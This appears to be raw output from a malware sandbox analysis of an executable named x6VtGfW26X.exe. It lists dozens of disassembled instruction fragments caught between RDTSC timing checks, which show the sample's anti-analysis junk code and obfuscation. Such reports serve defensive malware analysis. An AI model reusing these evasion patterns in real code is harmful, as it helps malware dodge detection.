Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 998699 second address: 99869D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 99869D second address: 9986F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007FA6C4CAD519h 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 mov cl, 8Ch 0x0000001a push 00000003h 0x0000001c pushad 0x0000001d mov dword ptr [ebp+122D2D65h], edi 0x00000023 clc 0x00000024 popad 0x00000025 push 00000000h 0x00000027 sub dword ptr [ebp+122D17EAh], edx 0x0000002d push 00000003h 0x0000002f call 00007FA6C4CAD509h 0x00000034 jnl 00007FA6C4CAD514h 0x0000003a pushad 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9986F2 second address: 9986F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9986F8 second address: 998710 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 jmp 00007FA6C4CAD50Dh 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 998710 second address: 998714 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 998714 second address: 99875E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b js 00007FA6C4CAD511h 0x00000011 mov eax, dword ptr [eax] 0x00000013 jmp 00007FA6C4CAD510h 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FA6C4CAD514h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 99875E second address: 998762 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 998762 second address: 998768 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 998768 second address: 9987B0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4EBA07Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a push 00000000h 0x0000000c push edi 0x0000000d call 00007FA6C4EBA078h 0x00000012 pop edi 0x00000013 mov dword ptr [esp+04h], edi 0x00000017 add dword ptr [esp+04h], 00000019h 0x0000001f inc edi 0x00000020 push edi 0x00000021 ret 0x00000022 pop edi 0x00000023 ret 0x00000024 lea ebx, dword ptr [ebp+124634C9h] 0x0000002a jo 00007FA6C4EBA076h 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 jnl 00007FA6C4EBA076h 0x0000003a rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9988C0 second address: 99891F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4CAD511h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e push edi 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007FA6C4CAD50Ch 0x00000017 popad 0x00000018 pop edi 0x00000019 pop eax 0x0000001a mov cx, bx 0x0000001d mov edx, edi 0x0000001f push 00000003h 0x00000021 mov dword ptr [ebp+122D1B70h], ecx 0x00000027 push 00000000h 0x00000029 mov edx, dword ptr [ebp+122D3903h] 0x0000002f sub dword ptr [ebp+122D19B7h], edx 0x00000035 push 00000003h 0x00000037 mov dword ptr [ebp+122D3224h], ebx 0x0000003d push E498BDA0h 0x00000042 push eax 0x00000043 push edx 0x00000044 push esi 0x00000045 jne 00007FA6C4CAD506h 0x0000004b pop esi 0x0000004c rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 99891F second address: 99894D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jnl 00007FA6C4EBA076h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xor dword ptr [esp], 2498BDA0h 0x00000013 adc ecx, 27D1736Ah 0x00000019 lea ebx, dword ptr [ebp+124634D2h] 0x0000001f mov di, si 0x00000022 push eax 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 jc 00007FA6C4EBA076h 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 99894D second address: 998952 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 998AFC second address: 998B22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a pushad 0x0000000b jmp 00007FA6C4EBA087h 0x00000010 push eax 0x00000011 push edx 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 998B22 second address: 998B35 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 push ebx 0x0000000a pushad 0x0000000b ja 00007FA6C4CAD506h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 998B35 second address: 998B5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a pushad 0x0000000b jmp 00007FA6C4EBA07Fh 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FA6C4EBA07Eh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 99129A second address: 9912BD instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FA6C4CAD506h 0x00000008 ja 00007FA6C4CAD506h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jmp 00007FA6C4CAD513h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9912BD second address: 9912C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007FA6C4EBA076h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9912C9 second address: 9912CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9B77AE second address: 9B77B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9B77B8 second address: 9B77BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9B77BE second address: 9B77D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FA6C4EBA07Bh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9B77D1 second address: 9B77E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA6C4CAD514h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9B77E9 second address: 9B77FB instructions: 0x00000000 rdtsc 0x00000002 je 00007FA6C4EBA076h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jng 00007FA6C4EBA094h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9B7D41 second address: 9B7D45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9B7D45 second address: 9B7D54 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FA6C4EBA076h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9B81DD second address: 9B81E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9B81E1 second address: 9B81E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9B88E7 second address: 9B8908 instructions: 0x00000000 rdtsc 0x00000002 js 00007FA6C4CAD506h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007FA6C4CAD512h 0x00000010 push eax 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9B8908 second address: 9B890E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9B890E second address: 9B8919 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9B8919 second address: 9B892E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007FA6C4EBA080h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9B892E second address: 9B8942 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FA6C4CAD516h 0x00000008 jmp 00007FA6C4CAD50Ah 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9B9012 second address: 9B903D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4EBA07Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007FA6C4EBA07Ah 0x00000013 jp 00007FA6C4EBA076h 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9BF0A0 second address: 9BF0AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d push edx 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9BF0AF second address: 9BF0BA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9BF0BA second address: 9BF0C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push edi 0x00000007 pop edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9BF0C4 second address: 9BF0CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 97EB5D second address: 97EB7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA6C4CAD50Ch 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c js 00007FA6C4CAD512h 0x00000012 jp 00007FA6C4CAD506h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 97EB7E second address: 97EB88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 97EB88 second address: 97EB90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 97EB90 second address: 97EBA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 jbe 00007FA6C4EBA076h 0x0000000c jmp 00007FA6C4EBA07Ch 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9BFDF7 second address: 9BFE02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FA6C4CAD506h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9C52C0 second address: 9C52E0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007FA6C4EBA08Ah 0x0000000c jmp 00007FA6C4EBA084h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9C52E0 second address: 9C5307 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FA6C4CAD511h 0x00000008 jmp 00007FA6C4CAD511h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9C5307 second address: 9C532C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FA6C4EBA076h 0x0000000a popad 0x0000000b pushad 0x0000000c jmp 00007FA6C4EBA07Fh 0x00000011 push edx 0x00000012 pop edx 0x00000013 jnl 00007FA6C4EBA076h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9C549B second address: 9C549F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9C549F second address: 9C54A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9C54A3 second address: 9C54A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9C54A9 second address: 9C54EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 push edx 0x0000000a pop edx 0x0000000b popad 0x0000000c jnc 00007FA6C4EBA07Ch 0x00000012 popad 0x00000013 pushad 0x00000014 jne 00007FA6C4EBA08Eh 0x0000001a jmp 00007FA6C4EBA088h 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007FA6C4EBA07Ch 0x00000026 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9C54EF second address: 9C54F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9C5648 second address: 9C564E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9C564E second address: 9C5666 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA6C4CAD514h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9C597D second address: 9C59BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA6C4EBA07Ch 0x00000009 jnc 00007FA6C4EBA076h 0x0000000f push edx 0x00000010 pop edx 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FA6C4EBA07Bh 0x00000019 jmp 00007FA6C4EBA087h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9C5B4E second address: 9C5B54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9C5B54 second address: 9C5B74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007FA6C4EBA081h 0x0000000b popad 0x0000000c jo 00007FA6C4EBA07Eh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9C7C9D second address: 9C7CCA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4CAD50Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 1E54D81Ch 0x00000010 or dword ptr [ebp+122D1979h], ecx 0x00000016 push B0D35803h 0x0000001b push ecx 0x0000001c push eax 0x0000001d push edx 0x0000001e ja 00007FA6C4CAD506h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9C88BE second address: 9C88C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9C8E75 second address: 9C8E7C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9C943F second address: 9C9445 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9C9445 second address: 9C9459 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jng 00007FA6C4CAD506h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9C9459 second address: 9C945E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9C9D53 second address: 9C9D5D instructions: 0x00000000 rdtsc 0x00000002 js 00007FA6C4CAD506h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9C9D5D second address: 9C9D85 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007FA6C4EBA086h 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jg 00007FA6C4EBA076h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9CAF3D second address: 9CAF47 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9CAF47 second address: 9CAF4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9C9D85 second address: 9C9D8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9C9D8A second address: 9C9D9B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FA6C4EBA07Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9CAF4B second address: 9CAF82 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a movzx edi, di 0x0000000d push 00000000h 0x0000000f or esi, 76D69985h 0x00000015 push 00000000h 0x00000017 jmp 00007FA6C4CAD519h 0x0000001c xchg eax, ebx 0x0000001d push eax 0x0000001e push edx 0x0000001f push esi 0x00000020 push edx 0x00000021 pop edx 0x00000022 pop esi 0x00000023 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9CBA7D second address: 9CBAC7 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FA6C4EBA07Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d pushad 0x0000000e mov bh, B4h 0x00000010 xor bx, BD54h 0x00000015 popad 0x00000016 push 00000000h 0x00000018 mov dword ptr [ebp+124652BFh], ebx 0x0000001e push 00000000h 0x00000020 mov dword ptr [ebp+122D1B6Ch], esi 0x00000026 xchg eax, ebx 0x00000027 jg 00007FA6C4EBA07Eh 0x0000002d push eax 0x0000002e push ebx 0x0000002f push eax 0x00000030 push edx 0x00000031 jmp 00007FA6C4EBA07Bh 0x00000036 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9CBAC7 second address: 9CBACB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9CDBB2 second address: 9CDC15 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push edx 0x0000000b call 00007FA6C4EBA078h 0x00000010 pop edx 0x00000011 mov dword ptr [esp+04h], edx 0x00000015 add dword ptr [esp+04h], 0000001Ch 0x0000001d inc edx 0x0000001e push edx 0x0000001f ret 0x00000020 pop edx 0x00000021 ret 0x00000022 call 00007FA6C4EBA085h 0x00000027 pop esi 0x00000028 push 00000000h 0x0000002a mov di, bx 0x0000002d push 00000000h 0x0000002f jmp 00007FA6C4EBA07Dh 0x00000034 xchg eax, ebx 0x00000035 push ebx 0x00000036 push edx 0x00000037 pushad 0x00000038 popad 0x00000039 pop edx 0x0000003a pop ebx 0x0000003b push eax 0x0000003c push eax 0x0000003d push eax 0x0000003e push edx 0x0000003f pushad 0x00000040 popad 0x00000041 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9D0675 second address: 9D0681 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push esi 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9CE42B second address: 9CE42F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9D0852 second address: 9D0858 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9CE42F second address: 9CE435 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9D0858 second address: 9D08F3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4CAD50Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FA6C4CAD516h 0x00000010 pop edx 0x00000011 nop 0x00000012 movzx edi, si 0x00000015 push dword ptr fs:[00000000h] 0x0000001c or bx, F040h 0x00000021 mov dword ptr [ebp+122D24DEh], ecx 0x00000027 mov dword ptr fs:[00000000h], esp 0x0000002e push 00000000h 0x00000030 push eax 0x00000031 call 00007FA6C4CAD508h 0x00000036 pop eax 0x00000037 mov dword ptr [esp+04h], eax 0x0000003b add dword ptr [esp+04h], 00000014h 0x00000043 inc eax 0x00000044 push eax 0x00000045 ret 0x00000046 pop eax 0x00000047 ret 0x00000048 mov ebx, ecx 0x0000004a mov eax, dword ptr [ebp+122D1071h] 0x00000050 jp 00007FA6C4CAD521h 0x00000056 push FFFFFFFFh 0x00000058 mov bx, 9E5Ah 0x0000005c nop 0x0000005d push ebx 0x0000005e pushad 0x0000005f push edi 0x00000060 pop edi 0x00000061 push eax 0x00000062 push edx 0x00000063 rdtsc
